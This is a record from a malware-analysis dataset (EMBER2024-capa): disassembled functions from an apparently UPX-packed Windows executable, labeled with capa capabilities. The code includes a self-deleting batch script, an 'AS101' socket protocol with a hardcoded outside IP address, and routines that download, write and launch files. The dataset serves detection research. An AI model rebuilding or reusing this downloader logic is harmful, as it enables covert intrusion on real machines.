joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40151c
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x414044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
xor eax, eax
push 7
mov word [ebp - 0x24], ax
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
mov esi, 0x288
push esi
stosw word es:[edi], ax
xor ebx, ebx
call fcn.00404948
pop ecx
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x40158d
push dword [ebp - 0x28]
call fcn.00404abd
push dword [ebp - 0x34]
call fcn.00404948
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x28]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x401647
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp eax, ebx
je 0x401647
jmp 0x4015b4
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x40]
inc dword [ebp - 0x2c]
test edi, edi
je 0x4015c7
lea esi, [eax + 0x194]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [eax + 0x1ac]
test esi, esi
je 0x401636
lea edi, [esi + 4]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4015d9
sub eax, ecx
cmp eax, 0x10
jle 0x4015ea
push 0x10
pop eax
xor ecx, ecx
test eax, eax
jl 0x40160a
cmp ecx, eax
jne 0x4015fb
xor edx, edx
mov word [ebp + ecx*2 - 0x24], dx
movsx dx, byte [edi + ecx]
mov word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, eax
jle 0x4015f2
lea eax, [ebp - 0x24]
push eax
call fcn.0040112a
pop ecx
test eax, eax
je 0x40162c
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
push 0x10
push dword [eax + ebx*4]
call fcn.00404347
add esp, 0xc
mov esi, dword [esi]
inc ebx
test esi, esi
jne 0x4015d1
mov eax, dword [ebp - 0x30]
test ebx, ebx
jg 0x401647
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x4015b1
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x3c]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
je 0x40165e
push dword [ebp - 0x28]
call fcn.00404abd
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.0040430c
leave
ret
Function at 0x4016d0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x298]
sub esp, 0x318
mov eax, dword [0x414044]
xor eax, ebp
mov dword [ebp + 0x294], eax
push ebx
push esi
lea eax, [ebp + 0x190]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str._uninsep.bat
lea eax, [ebp + 0x190]
push esi
push eax
call fcn.004056ab
add esp, 0xc
push esi
lea eax, [ebp + 0x8c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x8c]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00404451
lea eax, [ebp - 0x78]
push 0x5c
push eax
call fcn.00404b50
add esp, 0x14
cmp eax, ebx
je 0x40174e
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x401832
mov eax, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40177e
sub eax, edx
lea ecx, [ebp + 0x8c]
push edi
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x401793
lea eax, [ebp + 0x190]
sub ecx, edi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4017a5
imul ecx, ecx, 3
sub eax, edi
add ecx, eax
lea esi, [ecx + esi + 0x32]
push esi
call fcn.00404523
push esi
mov edi, eax
push ebx
push edi
call fcn.0040ab80
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x8c]
push eax
push eax
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
push esi
push edi
call fcn.00404433
mov eax, edi
add esp, 0x2c
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4017ee
push ebx
lea ecx, [ebp - 0x80]
push ecx
sub eax, esi
push eax
push edi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x190]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp edi, ebx
je 0x401831
push edi
call fcn.004048ee
pop ecx
pop edi
mov ecx, dword [ebp + 0x294]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040430c
add ebp, 0x298
leave
ret
Function at 0x401849
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3ec]
sub esp, 0x46c
mov eax, dword [0x414044]
xor eax, ebp
mov dword [ebp + 0x3e8], eax
mov eax, dword [ebp + 0x3f4]
push ebx
push esi
push edi
push 0x44
pop edi
push edi
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x80]
push 0
push eax
mov esi, ecx
call fcn.0040ab80
mov dword [ebp - 0x80], edi
xor eax, eax
lea edi, [ebp - 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov ebx, 0x206
push ebx
push eax
mov word [ebp + 0x1e0], ax
lea eax, [ebp + 0x1e2]
push eax
call fcn.0040ab80
mov edi, 0x103
push edi
push esi
lea esi, [edi + 1]
lea eax, [ebp + 0x1e0]
push esi
push eax
call fcn.00404b7d
xor eax, eax
push ebx
mov word [ebp - 0x28], ax
xor ebx, ebx
lea eax, [ebp - 0x26]
push ebx
push eax
call fcn.0040ab80
push edi
push dword [ebp - 0x2c]
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.00404b7d
add esp, 0x44
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push 0x20
push ebx
push ebx
push ebx
lea eax, [ebp + 0x1e0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x40190d
xor eax, eax
jmp 0x401913
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x3e8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040430c
add ebp, 0x3ec
leave
ret
Function at 0x40199c
Capabilities:
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x7ac]
sub esp, 0x82c
mov eax, dword [0x414044]
xor eax, ebp
mov dword [ebp + 0x7a8], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
xor edi, edi
push esi
mov word [ebp + 0x398], ax
lea eax, [ebp + 0x39a]
push edi
push eax
mov dword [ebp - 0x80], edi
call fcn.0040ab80
xor eax, eax
push esi
mov word [ebp + 0x5a0], ax
lea eax, [ebp + 0x5a2]
push edi
push eax
call fcn.0040ab80
xor eax, eax
push esi
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push edi
push eax
call fcn.0040ab80
xor eax, eax
push esi
mov word [ebp + 0x190], ax
lea eax, [ebp + 0x192]
push edi
push eax
call fcn.0040ab80
add esp, 0x30
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov esi, ecx
div esi
xor edx, edx
div ecx
lea eax, [ebp + 0x190]
push edx
push str.BF9_X.tmp
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [ebp + 0x398]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp + 0x5a0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp + 0x5a0]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00404347
lea eax, [ebp + 0x5a0]
push eax
lea eax, [ebp + 0x398]
push eax
call fcn.00404a12
add esp, 0x14
test eax, eax
je 0x401aa1
mov dword [ebp - 0x80], 1
jmp 0x401bb5
lea eax, [ebp + 0x398]
push 0x5c
push eax
call fcn.0040431b
pop ecx
pop ecx
test eax, eax
je 0x401bb5
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp + 0x5a0]
push esi
push eax
call fcn.00404c50
push 0x412c3c
lea eax, [ebp + 0x398]
push eax
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x7c], edi
call fcn.00404daa
add esp, 0x18
test eax, eax
je 0x401af3
xor eax, eax
jmp 0x401bb8
push 2
push edi
push dword [ebp - 0x7c]
call fcn.00404e87
push dword [ebp - 0x7c]
call fcn.004050a9
push edi
push edi
push dword [ebp - 0x7c]
mov ebx, eax
call fcn.00404e87
lea eax, [ebx + 0x32000]
push eax
call fcn.00404948
push dword [ebp - 0x7c]
mov edi, eax
push 1
push ebx
push edi
call fcn.004053b7
push dword [ebp - 0x7c]
call fcn.0040544b
lea esi, [edi + ebx]
push 0x19000
lea eax, [esi + 0x19000]
push eax
push esi
call fcn.0040b5b0
add esp, 0x40
push 0x412c44
lea eax, [ebp + 0x5a0]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.00404daa
add esp, 0xc
test eax, eax
jne 0x401aec
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0xc350
div ecx
push dword [ebp - 0x7c]
push 1
add edx, ebx
push edx
push edi
call fcn.00405629
push dword [ebp - 0x7c]
add esi, 0xfffffb52
push 1
push 0x4ae
push esi
call fcn.00405629
push dword [ebp - 0x7c]
call fcn.0040544b
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp + 0x5a0]
call fcn.00401849
add esp, 0x28
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp + 0x7a8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040430c
add ebp, 0x7ac
leave
ret
Function at 0x402030
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x414044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x220], ax
xor ebx, ebx
lea eax, [ebp - 0x21e]
push ebx
push eax
call fcn.0040ab80
xor eax, eax
mov byte [ebp - 0x14], bl
lea edi, [ebp - 0x13]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 0xc
stosb byte es:[edi], al
cmp dword [0x41749c], ebx
jbe 0x402185
cmp word [0x4174a0], bx
jbe 0x402185
lea esi, [ebp - 0x14]
call fcn.004010c0
movzx eax, word [0x4174a0]
lea edi, [ebp - 0x220]
mov dword [ebp - 0x224], eax
call fcn.00401000
push 0x412cb4
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00404c50
add esp, 0xc
push 0x412cb8
mov eax, edi
push esi
push eax
call fcn.00404c50
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
push dword [ebp - 0x224]
lea ecx, [ebp - 0x14]
call fcn.00402196
pop ecx
lea eax, [ebp - 0x220]
push eax
call esi
cmp eax, 0xffffffff
jne 0x40214d
mov ecx, 0x412cd8
mov eax, 0x41753e
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40212d
cmp dx, bx
je 0x402129
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40212d
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x402107
xor eax, eax
jmp 0x402132
sbb eax, eax
sbb eax, 0xffffffff
mov ecx, str.121.254.231.131
cmp eax, ebx
jne 0x402142
push 0x2bac
jmp 0x402147
push 0x2bb6
call fcn.00402196
pop ecx
lea eax, [ebp - 0x220]
push eax
call esi
cmp eax, 0xffffffff
jne 0x402167
push 0x1d4c0
call edi
jmp 0x4020e0
push 0xbb8
call edi
push 1
push ebx
push 0x412c20
lea eax, [ebp - 0x220]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040430c
leave
ret

Function at 0x4036b9
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x40384d
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xff0]
mov eax, 0x1070
call fcn.0040f870
mov eax, dword [0x414044]
xor eax, ebp
mov dword [ebp + 0xfec], eax
mov eax, dword [ebp + 0xff8]
push esi
push edi
xor edi, edi
push 2
push edi
push ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], edi
call fcn.00404e87
push ebx
call fcn.004050a9
push edi
push edi
push ebx
mov dword [ebp - 0x24], eax
call fcn.00404e87
lea eax, [ebp - 0x80]
call fcn.004036b9
push ebx
mov esi, 0x1000
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.004053b7
add esp, 0x2c
cmp eax, edi
jmp 0x4038dd
push dword [ebp - 0x1c]
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x14]
call fcn.004036e4
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
push ebx
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.004053b7
add esp, 0x14
test eax, eax
mov dword [ebp - 0x1c], eax
ja 0x4038b7
mov edi, dword [ebp - 0x20]
push edi
lea esi, [ebp - 0x80]
call fcn.0040377d
push ebx
call fcn.0040544b
mov eax, dword [ebp - 0x18]
pop ecx
pop ecx
cmp eax, dword [ebp - 0x24]
jae 0x403909
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
jmp 0x40390c
xor eax, eax
inc eax
mov ecx, dword [ebp + 0xfec]
pop edi
xor ecx, ebp
pop esi
call fcn.0040430c
add ebp, 0xff0
leave
ret
Function at 0x403b73
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403bf0
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403b9a
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403b8e
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00404523
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040b5b0
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403bf3
cmp eax, dword [ebp - 4]
jne 0x403bf3
mov dword [ebp - 8], 1
jmp 0x403bf3
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403bfe
push ebx
call fcn.004048ee
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x403d30
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e4
mov eax, dword [0x414044]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x78]
push ebx
push esi
mov dword [ebp - 0x870], ecx
mov ecx, dword [ebp + 0x7c]
push edi
xor ebx, ebx
lea edi, [ebp - 0x85c]
mov dword [ebp - 0x874], eax
mov dword [ebp - 0x86c], edx
mov dword [ebp - 0x864], edi
cmp ecx, ebx
je 0x403d7a
mov dword [ebp - 0x864], ecx
mov edi, ecx
xor ecx, ecx
mov word [edi], cx
mov esi, dword [eax]
mov dword [ebp - 0x860], ebx
mov dword [ebp - 0x868], ebx
cmp esi, ebx
je 0x403ef0
cmp edx, ebx
je 0x403ef0
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], cl
call fcn.0040ab80
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x403ec6
cmp eax, ebx
je 0x403ec6
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.00404523
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x403edb
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x874]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x403e58
test eax, eax
je 0x403e58
add ebx, eax
cmp edi, ebx
jg 0x403def
push 5
pop ecx
cmp ebx, ecx
jl 0x403edb
mov edx, dword [ebp - 0x860]
sub ebx, ecx
mov edi, edx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x403e7b
mov edx, dword [ebp - 0x864]
mov eax, 0x412d78
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x403e45
jmp 0x403edb
mov edx, dword [ebp - 0x864]
mov eax, 0x412d78
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x403e65
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x403edb
test ebx, ebx
jle 0x403e8a
lea eax, [edx + 5]
mov ecx, ebx
not byte [eax]
inc eax
dec ecx
jne 0x403e84
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add edx, 5
cmp eax, ebx
jl 0x403eaa
push ebx
push edx
push dword [ebp - 0x86c]
call fcn.0040b5b0
mov dword [esi], ebx
jmp 0x403eb7
push eax
push edx
push dword [ebp - 0x86c]
call fcn.0040b5b0
add esp, 0xc
mov dword [ebp - 0x868], 1
jmp 0x403edb
mov eax, 0x412d78
sub edi, eax
movzx ecx, word [eax]
mov word [edi + eax], cx
inc eax
inc eax
cmp cx, bx
jne 0x403ecd
cmp dword [ebp - 0x860], 0
je 0x403ef0
push dword [ebp - 0x860]
call fcn.004048ee
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x868]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040430c
add ebp, 0x70
leave
ret
Function at 0x40409b
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.0040f870
mov eax, dword [0x414044]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x4040e1
xor eax, eax
jmp 0x40412b
cmp dword [ebp - 0x78], ebx
jbe 0x40411c
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x40411c
push dword [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00405629
add ebx, dword [ebp - 0x80]
add esp, 0x10
mov dword [0x417494], ebx
cmp ebx, dword [ebp - 0x78]
jb 0x4040e6
push dword [ebp - 0x7c]
call fcn.0040544b
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040430c
add ebp, 0xf90
leave
ret

Function at 0x404142
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x414044]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
push 0x206
xor esi, esi
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push esi
push eax
call fcn.0040ab80
and dword [ebp - 0x7c], esi
add esp, 0xc
test edi, edi
je 0x404214
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x404188
sub eax, edx
sar eax, 1
je 0x404214
test ebx, ebx
je 0x404214
cmp dword [0x417498], 3
mov esi, 0x104
lea eax, [ebp - 0x78]
jne 0x4041c9
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x412cb4
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00404c50
add esp, 0xc
jmp 0x4041d1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00404c50
push 0x412c44
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.00404daa
xor esi, esi
add esp, 0x18
inc esi
cmp dword [ebp - 0x7c], 0
je 0x404214
push dword [ebp - 0x7c]
push esi
push 0x1e0
push ebx
call fcn.00405629
push dword [ebp - 0x7c]
call fcn.0040544b
add esp, 0x14
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040430c
add ebp, 0x194
leave
ret

Function at 0x40422c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x404254
xor eax, eax
jmp 0x40428d
push ebx
push 2
push esi
push 0xfffffb52
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, eax
cmp ebx, esi
je 0x404283
push esi
lea eax, [ebp - 4]
push eax
push 0x4ae
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
pop edi
pop esi
leave
ret
Function at 0x40430c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x414044]
jne 0x404316
repz ret
jmp fcn.00405c35

Function at 0x40e497
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407a9d
and dword [ebp - 4], 0
cmp dword [0x415be4], 0
mov ebx, eax
jne 0x40e548
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40e5f9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40e5f9
push eax
call fcn.00407a2b
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x415be4], eax
call esi
push eax
call fcn.00407a2b
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x415be8], eax
call esi
push eax
call fcn.00407a2b
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x415bec], eax
call esi
push eax
call fcn.00407a2b
pop ecx
mov dword [0x415bf4], eax
test eax, eax
je 0x40e548
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00407a2b
pop ecx
mov dword [0x415bf0], eax
mov eax, dword [0x415bf0]
cmp eax, ebx
je 0x40e5a0
cmp dword [0x415bf4], ebx
je 0x40e5a0
push eax
call fcn.00407aa6
push dword [0x415bf4]
mov esi, eax
call fcn.00407aa6
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40e5a0
test edi, edi
je 0x40e5a0
call esi
test eax, eax
je 0x40e597
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40e597
test byte [ebp - 0xc], 1
jne 0x40e5a0
or dword [ebp + 0x10], 0x200000
jmp 0x40e5d9
mov eax, dword [0x415be8]
cmp eax, ebx
je 0x40e5d9
push eax
call fcn.00407aa6
pop ecx
test eax, eax
je 0x40e5d9
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40e5d9
mov eax, dword [0x415bec]
cmp eax, ebx
je 0x40e5d9
push eax
call fcn.00407aa6
pop ecx
test eax, eax
je 0x40e5d9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x415be4]
call fcn.00407aa6
pop ecx
test eax, eax
je 0x40e5f9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40e5fb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430260
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x19000]
push edi
or ebp, 0xffffffff
jmp 0x430282
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x430289
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x430278
mov eax, 1
add ebx, ebx
jne 0x43029b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x430290
jne 0x4302ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x430290
xor ecx, ecx
sub eax, 3
jb 0x4302c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x430332
mov ebp, eax
add ebx, ebx
jne 0x4302cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4302d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4302fc
inc ecx
add ebx, ebx
jne 0x4302e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4302dd
jne 0x4302f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4302dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43031c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43030d
jmp 0x43027e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43031c
add edi, ecx
jmp 0x43027e
pop esi
mov edi, esi
mov ecx, 0xc64
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43033a
cmp byte [edi], 9
jne 0x43033a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x43033f
lea edi, [esi + 0x2d000]
mov eax, dword [edi]
or eax, eax
je 0x4303ae
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x314c8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x31568]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43036c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3156c]
or eax, eax
je 0x4303a8
mov dword [ebx], eax
add ebx, 4
jmp 0x430389
call dword [esi + 0x31570]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4303df
cmp al, 0xef
ja 0x4303d2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4303b4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4303c1
popal
jmp 0x4172d0